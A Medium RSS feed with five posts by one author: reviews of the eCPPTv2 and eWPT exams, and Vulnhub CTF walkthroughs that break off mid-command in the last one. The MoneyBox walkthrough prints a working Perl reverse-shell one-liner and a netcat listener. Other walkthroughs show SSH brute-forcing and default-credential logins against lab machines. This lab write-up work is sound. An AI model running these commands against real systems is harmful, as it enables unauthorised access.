<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hesham Ahmed on Medium]]></title>
        <description><![CDATA[Stories by Hesham Ahmed on Medium]]></description>
        <link>https://medium.com/@etchoo1?source=rss-dc9c7cd01ed4------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*GaMIVjtAuiCxSntGBZe88A.png</url>
            <title>Stories by Hesham Ahmed on Medium</title>
            <link>https://medium.com/@etchoo1?source=rss-dc9c7cd01ed4------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 05:33:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@etchoo1/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[eCPPTv2 Review: Become a Professional Penetration Tester in 4 Days!]]></title>
            <link>https://etchoo1.medium.com/ecpptv2-review-become-an-professional-penetration-tester-in-4-days-142939006197?source=rss-dc9c7cd01ed4------2</link>
            <guid isPermaLink="false">https://medium.com/p/142939006197</guid>
            <category><![CDATA[ecpptv2]]></category>
            <category><![CDATA[ecppt]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Hesham Ahmed]]></dc:creator>
            <pubDate>Sat, 13 Jan 2024 10:55:42 GMT</pubDate>
            <atom:updated>2024-01-13T10:56:31.819Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*Wv2QH7SWm2zy8kv9K0mRrQ.jpeg" /></figure><p>Recently, I achieved the eCPPTv2 certification, marking a significant milestone on my journey toward the OSCE path. In this blog post, I will share insights into the eCPPTv2 exam, including details about the exam itself, the materials involved, strategies for tackling it, and my personal experience.</p><p>Let’s begin by discussing the eCPPTv2 Exam. The eCPPT, or Certified Professional Penetration Tester Exam, is provided by INE Security (formerly known as eLearnSecurity). This exam essentially simulates a real-world blackhat penetration testing engagement. Upon initiating the exam, you receive a letter of engagement outlining your objectives.</p><p>The exam covers various topics, including:</p><ol><li>Reconnaissance and Enumeration.</li><li>Web Application Attacks.</li><li>Exploitation with Metasploit.</li><li>Pivoting and Lateral Movement.</li><li>Manual Exploitation.</li><li>Buffer Overflow, and more.</li></ol><p>As a penetration tester, I encountered minimal challenges in all topics except for Buffer Overflow, which proved to be my proverbial “Achilles’ heel.” :D</p><p>The exam environment differs from conventional Capture The Flag (CTF) setups; instead, it mirrors a genuine black box penetration testing engagement. The objective is to identify and address all vulnerabilities and gaps discovered during the assessment. Participants are allotted 7 days for hacking and an additional 7 days for reporting, providing ample time even for those primarily accustomed to CTFs.</p><p>To succeed in the exam, participants must achieve their engagement targets collaboratively. Given the real-world scenario, it’s crucial to thoroughly elucidate all system vulnerabilities in the report, providing clear steps to reproduce and proof of concepts.</p><p>Now, let’s delve into my personal experience.</p><p><strong>Day 1</strong></p><p>Commencing the engagement on Tuesday at 7 AM, I maintained unwavering concentration. Successfully compromising the first machine within five hours, I navigated through the privilege escalation effortlessly, showcasing three distinct exploitation methods. This flexibility in approach, a standout feature of eCPPT, mirrors real-world attack scenarios.</p><p>By 5 PM, I attained root access to the first machine. Within the next two hours, I compromised the second machine, securing full access. Surprisingly, employing the same method, I gained access to the third machine, achieving administrator privileges. Progressing towards the fourth machine, an unforeseen power outage interrupted my efforts, prompting a decision to rest and resume later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*eLPm5_eFfV4TtLfKQp4N2A.jpeg" /></figure><p><strong>Day 2</strong></p><p>Resuming my hacking endeavors at 5 AM, I encountered what I affectionately refer to as my “bed monster” — a light-hearted acknowledgment of the challenges faced. In retrospect, the Buffer Overflow wasn’t the most formidable obstacle in the exam; rather, the primary challenge lay in maintaining the stability of the exam environment. This necessitated considerable time investment to consistently reproduce steps in the event of environment failures, as well as devising a more reliable method for transferring exploits and preserving persistence.</p><p>Encountering a significant hurdle, I remained steadfast in my conviction that overcoming challenges was an inherent part of the examination process. After dedicating several hours to research and refining my payload, I successfully gained administrator access to the fourth machine. Notably, this machine proved to be the most challenging throughout the entire exam.</p><p>With only root access separating me from the completion of the exam, an unfortunate recurrence of a power outage resulted in my laptop crashing, rendering all my efforts futile. This setback, while not unprecedented, prompted a decision to take a break, get some sleep, and approach the remaining tasks with renewed vigor in the morning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*UUh18mz279mgZ0Q9ystYPw.jpeg" /></figure><p><strong>Day 3</strong></p><p>At 9 AM, I restarted my lap environment for the third time and I repeat all the steps again and at 3 PM I was root on the last machine. I thought this is the best time to celebrate and the reporting.. ugh the reporting!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*TDgycoE3bjw53s55.png" /></figure><p>I commenced my reporting activities at 6 PM on Thursday. Utilizing <a href="https://obsidian.md/"><em>Obsidian</em></a>, I efficiently organized all necessary information for seamless incorporation into the final report. As a helpful suggestion, it is advisable to prioritize note-taking beforehand. Employing note-taking applications such as Cherrytree, Notion, One Note, and Obsidian facilitates a systematic arrangement of data, thereby streamlining the reporting process for enhanced efficiency.</p><p>And on Friday 3 AM I submitted my report to INE for review.</p><p>After 15 Working days I got this lettle gift</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDBLJ4H2UIblMYB4fgVdlw.jpeg" /></figure><blockquote>What is the best material for eCPPTv2?</blockquote><ol><li><a href="https://ine.com/">INE </a>is the key, they providing the best topics, references, videos and laps that will help you in your journey.</li><li>Try Hack Me</li><li>Hack The Box</li><li>Your Notes. I used tools such as <a href="https://www.notion.so/">Notion </a>and <a href="https://obsidian.md/">Obsidian </a>while studying and this notes are really saved my a$$ multiple time.</li></ol><p>In the end, the real challenge in this exam is your confidence in yourself and your belief that you are able to do it because it really does not require super effort and some reporting skills will help you :D</p><p>Those references will help you to write powerfull report:</p><ol><li><a href="https://www.hackthebox.com/blog/penetration-testing-reports-template-and-guide">https://www.hackthebox.com/blog/penetration-testing-reports-template-and-guide</a></li><li><a href="https://brightsec.com/blog/penetration-testing-report/">https://brightsec.com/blog/penetration-testing-report/</a></li><li><a href="https://www.youtube.com/watch?v=J34DnrX7dTo">https://www.youtube.com/watch?v=J34DnrX7dTo</a></li></ol><p>I wish you all success guys :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=142939006197" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[eWPT Review | Easiest way to become an eWPT.]]></title>
            <link>https://etchoo1.medium.com/ewpt-review-easiest-way-to-become-an-ewpt-c11bb19ac278?source=rss-dc9c7cd01ed4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c11bb19ac278</guid>
            <category><![CDATA[ewptv1]]></category>
            <category><![CDATA[ewpt]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[Hesham Ahmed]]></dc:creator>
            <pubDate>Thu, 13 Jul 2023 22:52:27 GMT</pubDate>
            <atom:updated>2023-07-13T22:52:27.213Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uMNAdJaAwwHEAL6z8mC1WA.jpeg" /></figure><p>At the first, let be know what is eWPT exam.<br> Is Certified web application penetration testing 100% practical exam provided from eLearnSecurity that is the most trusted IT Security training company.</p><p>What are the topics covered on exam?<br>Exam covering multiple web application pentesting methodologies :</p><ul><li>Web application analysis and inspection</li><li>OSINT and information gathering techniques</li><li>Vulnerability assessment of web applications</li><li>OWASP TOP 10 2013 / OWASP Testing guide</li><li>Manual exploitation of XSS, SQLi, web services, HTML5, LFI/RFI</li><li>Exploit development for web environments</li><li>Advanced Reporting skills and remediation</li></ul><p>How is exam environment?</p><ul><li>It is NOT CTF based exam, it a real simulation of black box Penetration Testing engagement, so you will need to be informed that all vulnerabilities are needed to be documented.</li><li>Therefore, The Exam is open book exam so you can search and back to your notes if you been stuck until you complete it to the fullest.</li><li>Also, the eLearnSecurity Support team are very supportive so if there are any issue happened while exam they will easily found the solution.</li><li>You will have 7 days for penetration testing and another 7 days for reporting and this is quite enough time to finish the exam.</li><li>To success on the exam you will need to achive your engagement’s target but not alone, as I have mentioned, it is a real world penetration testing scenario so you will need to clarify all vulnerabilities on the system and reporting them with clear steps to reproduce and PoCs.</li></ul><p>How I completed the exam?</p><p>I started my engagement on Sunday 2AM with some issues on my Exam environment, so I wasted a lot of time on troubleshooting And finally it became completely clear to me to start at 6AM, So I decided to chill to take some rest and sleep so that I can start quietly without tension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*g-o55IT7lrD7nIGv87xuww.jpeg" /></figure><blockquote>You need to know that you should prepare all needed tools after starting the exam So that you don’t waste time downloading the tools you need while you’re taking the exam</blockquote><p>At 4 PM, I back to hacking, so I starting with mapping all target system’s areas including all subdomains and analysis all applications behavior.</p><p>By 7 PM, I draw my mind map to this system so I can hack into it and achieve the target. And for knowledge, you will need only vulnerability to break your ice wall. Once this is achieved, you will feel that you have everything under control, so take your time so that you can put your thoughts in order.</p><p>By 3 am, I found that I was going to crash with all those these screenshots and PoCs so I decided to rearrange all my findings for the closest format of the report.</p><p>I used <a href="https://www.giuspen.net/cherrytree/">CherryTree</a> for this porpose and by 5 AM I found myself on dejavu because of bad sleep so I decided to back to sleep and return in the morning to RIP this shit :D.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*b_cy4jowrzmjtkbkqhzE6g.jpeg" /></figure><p>At 11 AM I returned to hacking and by 2 PM I found all the results on the system, I was bug away from the target and I have been stucked for awhile because of another connection issue.</p><p>After some time I solved the issue and back to the exam to achieve the target by 9 PM, So i decided to take little break and re-review the exam again to make sure that there is nothing not covered in my PoCs and some tries to chaining some vulnerabilities and enhance the PoCs for the reporting phase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*AY7U2qGuReEQonFXzM4B1Q.png" /></figure><p>At Wednesday, I finished my first version of report but when I re-reviewed it I found that it not profissional enough. So, lets start to view some example reports templates to choose the best templates.</p><p>I found this <a href="https://github.com/anontuttuvenus/eWPT-Report-Template">Report</a> is most clean report to explaining my PoCs on it. With some editing on it, I could to achieve the best shape of my report and by Thursday I submitted my baby to eLearn to assess it.</p><p>By Tuesday when I was checking my email I found that I became an eWPTv1 🍾 🙌 🎉</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*VlnGVRHgQoET6liKiWvrVQ.png" /></figure><p>What is the best material for eWPT?</p><ol><li><a href="https://ine.com/">INE </a>is the key, they providing the best topics, references, videos and laps that will help you in your journey.</li><li><a href="https://taggartinstitute.org/p/pwst">PWST</a> (Practical Web Security and Testing) By Michael Taggart is very sufficient to bypass this exam.</li><li><a href="https://portswigger.net/web-security">PortSwigger Academy</a> for Laps and articals it the best reference will help you to gain more experience from real scenarios.</li><li>Your Notes. I used tools such as <a href="https://www.notion.so/">Notion </a>and <a href="https://obsidian.md/">Obsidian </a>while studying and this notes are really saved my a$$ multiple time.</li></ol><p>In the end, the real challenge in this exam is your confidence in yourself and your belief that you are able to do it because it really does not require super effort and some reporting skills will help you :D</p><p>Those references will help you to write powerfull report:</p><ol><li><a href="https://www.hackthebox.com/blog/penetration-testing-reports-template-and-guide">https://www.hackthebox.com/blog/penetration-testing-reports-template-and-guide</a></li><li><a href="https://brightsec.com/blog/penetration-testing-report/">https://brightsec.com/blog/penetration-testing-report/</a></li><li><a href="https://www.youtube.com/watch?v=J34DnrX7dTo">https://www.youtube.com/watch?v=J34DnrX7dTo</a></li></ol><p>I wish you all success guys :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c11bb19ac278" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MoneyBox 1: Vulnhub CTF walkthrough]]></title>
            <link>https://etchoo1.medium.com/moneybox-1-vulnhub-ctf-walkthrough-b636c71e64b0?source=rss-dc9c7cd01ed4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b636c71e64b0</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[moneybox]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Hesham Ahmed]]></dc:creator>
            <pubDate>Sun, 28 Aug 2022 06:17:25 GMT</pubDate>
            <atom:updated>2022-08-28T06:17:25.936Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*GgRWcOYyKGX1Z8aRDRDd_Q.png" /></figure><h4>This VulnHub capture the flag (CTF) is an easy-level challenge. The goal is to gain the root of the machine and read three flag files. You can download it here</h4><blockquote>Tools: <br><a href="https://www.kali.org/tools/netdiscover/#:~:text=Netdiscover%20is%20an%20active%2Fpassive,used%20on%20hub%2Fswitched%20networks.">netdiscover</a><br><a href="https://nmap.org/">nmap</a><br><a href="https://github.com/maurosoria/dirsearch">dirsearch</a><br><a href="https://github.com/exiftool/exiftool">exiftool</a><br><a href="https://www.kali.org/tools/steghide/">steghide</a><br><a href="https://www.kali.org/tools/hydra/">hydra</a><br><a href="https://www.kali.org/tools/netcat/">netcat</a></blockquote><p>At first I scanned the network to detect the IP of the machine by <strong><em>netdiscover</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*nxjyITJXL6L6Ecd35AuPCA.jpeg" /><figcaption>netdiscover’s result</figcaption></figure><p>After i found the IP i started to scan it to get the open ports by <strong><em>Nmap</em></strong> and i found 3 open ports 21 as ftp with daemon vsftpd 3.0.3, 22 as SSH with OpenSSH 7.9 and 80 HTTP with Apachi httpd 2.4.38 (Debian):</p><pre>sudo nmap -sS -sV 192.168.1.14</pre><pre>-sS &gt; SYN scanner<br>-sV &gt; Version Detection</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*tnvnQiaOrYuXPxY4bkjpUA.png" /><figcaption>nmap’s result</figcaption></figure><p>When accessing the Web page, I didn’t find anything important, so I brute-forced the directories through the <strong>dirsearch</strong> tool and found <a href="http://192.168.1.14/blogs"><strong><em>http://192.168.1.14/blogs</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*ghCRJmGNxfWktts0Hl2G_A.png" /><figcaption>dirsearch’s result</figcaption></figure><p>When entering the directory, I didn’t find anything important, but when I looked at the source code, I found a comment with a hidden directory: <br>/S3cr3t-t3xt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*I5CfOyc3rfco9SsbevSmQA.png" /><figcaption>hidden directory</figcaption></figure><p>And when I entered the hidden directory, as usual, I didn’t find anything, and as usual, when I looked at the source code, I found a comment in it secret key Which can be a password for FTP</p><p><strong>Secret key:</strong> <em>3xtr4ctd4t4</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*DNG_XU_LGCfx5hdOa84Vxg.png" /><figcaption>/S3cr3t-T3xt</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*JI4biD8SYTT1NkS3ogccGg.png" /><figcaption>Secret Key</figcaption></figure><p>So I connected to FTP and the password was the secret key that we found in the source code,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*9M_oFVQbjk-QRNEsJh4wXg.png" /><figcaption>ftp’s result</figcaption></figure><p>And when I searched the FTP system, I found a picture, so I transferred it to me to see if it had information that would benefit me or if it was a rabbit hole.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*THmLlHnROVAHFRvuZzPo0g.jpeg" /><figcaption>trytofind.jpg</figcaption></figure><p>A nice photo that I will use as a personal photo honestly :D</p><p>Using the <strong><em>exiftool</em></strong> tool to find out the metadata of the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*3WuntpWtyBxXtrlGFL14yA.png" /><figcaption>exiftool’s result</figcaption></figure><p>I didn’t find anything in the image metadata, so I used the <strong><em>steghide</em></strong> tool with the help of this tool, we can identify if there is any hidden information in the image file. We checked whether it is by default available in Kali Linux, so I used it through my virtual kali and found a file with a txt file with a hint of a weak password for a user named <strong><em>renu:</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*EyuXeUgNDVO6w2Oxxe7vrw.png" /><figcaption>steghide’s result</figcaption></figure><p>So based on this information, I brute force the user’s password on the SSH by <strong><em>Hydra</em></strong> tool, and found that the user’s password, so I connected SSH via this password</p><blockquote><strong>User: </strong>renu<br><strong>Password:</strong> 987654321</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-MwGVJdQuV5JhfJWJ2kfuw.png" /><figcaption>hydra’s result and SSH connection</figcaption></figure><p>And with a little research I found the first flag of the <strong>renu</strong> user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*HiMAWVYIXiwWvvFWl4NbUg.png" /><figcaption>1st flag</figcaption></figure><p>And with a little further research, I found the second flag of the user <strong>lily:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*kjHYRMmdM5hQbqOKTyoV1A.png" /><figcaption>2nd flag</figcaption></figure><p>While exploring the files in various directories i found an SSH key in the home directory. This can be seen below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*K2XDrmVGNe7pVHpqPal0-w.png" /><figcaption>authorized_keys</figcaption></figure><p>So, let us switch the current user privilege to user <strong><em>lily</em></strong> with the help of the SSH keys. We checked the current user privilege using the <strong><em>sudo –l</em></strong> command and found that the current user can run <strong><em>perl</em></strong> command as root.</p><p>With a little help from <a href="https://gtfobins.github.io/gtfobins/perl/"><strong><em>gtfobins</em></strong></a> to find some reverse shell payloads for the perl to capture incoming connections on attacker machine</p><pre>sudo perl -e &#39;use Socket;$i=&quot;192.168.1.13&quot;;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*Dr5bxfhUauW7La9U1EkpUg.png" /><figcaption>reverse shell</figcaption></figure><p>before execute the payload i must to open netcat on my machine by</p><pre>nc -l -p 1234</pre><p>After execute the payload we got a reverse shell and found the root’s flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/525/1*7-M5aYLnSYPzfV1YBmbM3A.png" /><figcaption>root’s flag</figcaption></figure><p>I forget <strong>“shi1vv was here”</strong>, iam sorry :)</p><p>My assessment of this challenge is an good easy challenge that requires some rudimentary knowledge of tools and some simple knowledge of privilege escalation.</p><p>Time Spent: 1 Hour</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b636c71e64b0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[InfoSecWarrior CTF: 3 Walkthrough]]></title>
            <link>https://etchoo1.medium.com/infosecwarrior-ctf-3-walkthrough-dd54a1200286?source=rss-dc9c7cd01ed4------2</link>
            <guid isPermaLink="false">https://medium.com/p/dd54a1200286</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[infosecwarrior]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Hesham Ahmed]]></dc:creator>
            <pubDate>Fri, 26 Aug 2022 21:47:39 GMT</pubDate>
            <atom:updated>2022-08-26T21:47:39.651Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*Yybx_73VKz-wrbg1rC62Tg.jpeg" /></figure><p>challenge of <a href="https://www.infosecwarrior.com/infosecwarrior-ctf-2020-3/"><strong>InfoSecWarrior CTF: 3 Walkthrough</strong></a> by <a href="https://www.infosecwarrior.com/">Infosec Warrior CTF 2020</a>. The box is designed by Vishal Biswas aka CyberKnight. The goal is to gain the highest privileges and collect only 2 flags (user flag and root flag). According to author box consist WordPress developer configured the machine to work internally. But due to some miss-configuration WordPress is exposed to the outside world. Use your skills and get the root flag.</p><p>you can download this challenge from: <a href="https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-03,449/">https://www.vulnhub.com/entry/infosecwarrior-ctf-2020-03,449/</a> or https:/<a href="https://www.infosecwarrior.com/infosecwarrior-ctf-2020-3/">/www.infosecwarrior.com/Finfosecwarrior-ctf-2020-3</a>/</p><h3>Tools:</h3><blockquote><a href="https://nmap.org/">nmap</a><br><a href="https://github.com/maurosoria/dirsearch">dirsearch</a><br><a href="https://www.openwall.com/john/">johnTheRipper</a><br><a href="https://wpscan.com/wordpress-security-scanner">wpscan</a></blockquote><p>At the beginning of the challenge I scanned the IP for open ports and I found: 80 as http , 22 as ssh<br><strong><em>nmap -sS -sV -T4 192.168.56.107 </em></strong><em><br>-sS &gt; for SYN scan <br>-sV &gt; for version detection <br>-T4 &gt; a</em>ggressive (4) speeds scans</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*swBSMwIheSViSMtkVNEXGw.png" /><figcaption>nmap result</figcaption></figure><p>After seeing the content of the Web page on Port 80 , I brute-forced the dirs on this site using a tool <a href="https://github.com/maurosoria/dirsearch"><strong>dirsearch</strong></a>, The result was that I found a WordPress login page and a MySQL server login page:<br><strong><em>dirsearch -u http://192.168.56.107/</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*PHn0KQKe4tMnE6zDTQQ0JA.png" /><figcaption>dirsearch result</figcaption></figure><blockquote>It is recommended to know the technology of any website, use the <a href="https://www.kali.org/tools/whatweb/"><strong>whatweb</strong></a> tool or use <a href="https://www.wappalyzer.com/apps"><strong>Wappalyzer</strong></a> extension for chrome or firefox.</blockquote><p>To find out more details about the site, I used the <a href="https://wpscan.com/wordpress-security-scanner"><strong>wpscan</strong></a> tool, since the site is based on WordPress</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*49JmwvKSXQPSF_AsfWdAfw.png" /><figcaption>wpscan result</figcaption></figure><p>So I decided to access the phpMyAdmin login page on <a href="http://192.168.56.107/phpMyAdmin">http://192.168.56.107/phpMyAdmin</a> , With a little help from <a href="https://book.hacktricks.xyz/pentesting-web/login-bypass/sql-login-bypass">hacktricks</a> I was able to use the login via the sql-login-bypass method with default credential root:root</p><blockquote>Vulnerability Details: <a href="https://www.exploit-db.com/exploits/21726">https://www.exploit-db.com/exploits/21726</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*_b1KEoE4wdMGvZXvmVfu7A.png" /><figcaption>credential: root/root</figcaption></figure><p>After accessing the server’s dashboard, I found the user’s password krishna as hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*2OhOHjosklWGUXE9SGSzDw.png" /><figcaption>krishna’s password</figcaption></figure><p>so i used <a href="https://www.openwall.com/john/"><strong>JohnTheRipper</strong></a> to brute-force this hash via rockyou.txt , and the password was: <em>infosec</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*dSA_JfoQUA-sXhNsb-Kd5w.png" /><figcaption>john result</figcaption></figure><p>Then I connected to server via SSH with the credential of krishna user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*eiKZdK2d8p3uwKId2h6PAg.png" /><figcaption>ssh</figcaption></figure><p>I ran the<strong> sudo -l</strong> command and I found <strong>Krishna</strong> has <strong>sudo</strong> permission to run a bash script as <strong>loopspell</strong> this script is compiler a <strong>#C</strong> language file using <strong>gcc</strong> using this command we privilege escalate this machine to get user’s flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*_6kWDxHB5XwgGSJTkcD0uA.png" /><figcaption>user’s flag</figcaption></figure><p>After get the first flag i decided to get root shell to get the last flag, so i ran sudo -l command again and i see sudoers filer entry <strong>/usr/bin/gcc</strong> and <strong>code_compiler.sh</strong>. using sudo I again run the privilege escalation command and we have a root shell target machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*-GoTcPbPa2lHwbYs3SRXnw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*L9FmGG657xoxbtC0pwsErg.png" /><figcaption>root’’s flag</figcaption></figure><p>that is it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/229/1*UI4yjGkp8caBSXXiTkYLow.png" /><figcaption>sh1vv was here</figcaption></figure><p>My assessment of this challenge is an easy challenge that requires some traditional skills in using some basic tools and some low variety of privilege escalation skills.</p><p>Time Spent: 1:30 H</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dd54a1200286" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Pwned.1 : Vulnhub CTF Walkthrough]]></title>
            <link>https://etchoo1.medium.com/pwned-1-vulnhub-ctf-walkthrough-48ed15242f43?source=rss-dc9c7cd01ed4------2</link>
            <guid isPermaLink="false">https://medium.com/p/48ed15242f43</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[cyber-security-training]]></category>
            <category><![CDATA[pwned1]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Hesham Ahmed]]></dc:creator>
            <pubDate>Thu, 09 Jun 2022 17:17:12 GMT</pubDate>
            <atom:updated>2022-06-09T17:17:12.894Z</atom:updated>
            <content:encoded><![CDATA[<h3>Pwned.1 : Vulnhub CTF Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*VG1LIRaGzhN7yl5KCS-Fdw.jpeg" /></figure><p>First we start with *Netdiscover*, to get the IP of the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*jb8NJLbk15v7EjpgeWcEgA.jpeg" /></figure><p>Now we will scan this IP with nmap:</p><blockquote><strong>sudo nmap -A -sS -p- -v 192.168.1.47</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*pud4hzIpByd4gr3tWJ3X_A.png" /></figure><p>I found three of ports, <br><strong>1- 21/tcp as FTP, <br>2- 22/tcp as SSH <br>and 80/tcp as a web page</strong></p><p>Now we start with the web page and when i get the source code i found nothing important in it so i brute forced the directories using dirb:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*MwPn2NeQg1tvFgqU1K0qlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*ZBMOCh9R17S_UsMMUT6_qw.png" /></figure><p>robots.txt found,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*QAMVWl0RomhefRPZP-w5Uw.png" /></figure><p>and i found a directory named /nothing and it is really nothing 😅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*uNh1X51Pw7Iou4ll6avJqg.png" /></figure><p>I don’t trust you, bro</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*9w3y542nr9DV5rqGMipl7Q.png" /></figure><p>Well, you’re honest, but let me make sure another way.</p><p>So i tried to bruteforcing using *dirbuster* for more detailed information and i found <strong>/hidden_text</strong> dir as in the below screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*r3ysUjArORvl0YBqJl0BlQ.png" /></figure><p>when i opened it i found a secret.dic as in the bellow screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*hTKZvUPMiB1TcluVHxRh6w.png" /></figure><p>So , i brute forced it again using dirbuster:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*zoMZZ7X6qKv4AdkBkuJG4w.png" /></figure><p>and i found <strong>/pwned.vuln</strong> is only dir that give me response so i open it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*uwBzaesxVyhE2fI6eqa5nA.png" /></figure><p>i found a login page and when i check source code i found the comment bellow:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*SS7XfEmqOqGnvQQztbSTAw.png" /><figcaption>Ftp Credential</figcaption></figure><p>I found FTP credential so get my way away from the Web page,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*tmKVER2ORtDO4xeEZ_mIKQ.png" /></figure><p>when i logged in FTP i found share dir, so i open it and get all files on it and there is two file so i use :<br><strong>get note.txt </strong><br><strong>get id_rsa</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*1H_gFLqS_ooyKmS-nPV_qg.png" /></figure><p>and i am not happy with this shit messages 😡</p><p>when i opened id_rsa i found it as ssh private key so i decided to ssh ariana user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*c6CvJlxlG1m6lCrIciIasQ.png" /></figure><blockquote>using: <strong>ssh -i id_rsa 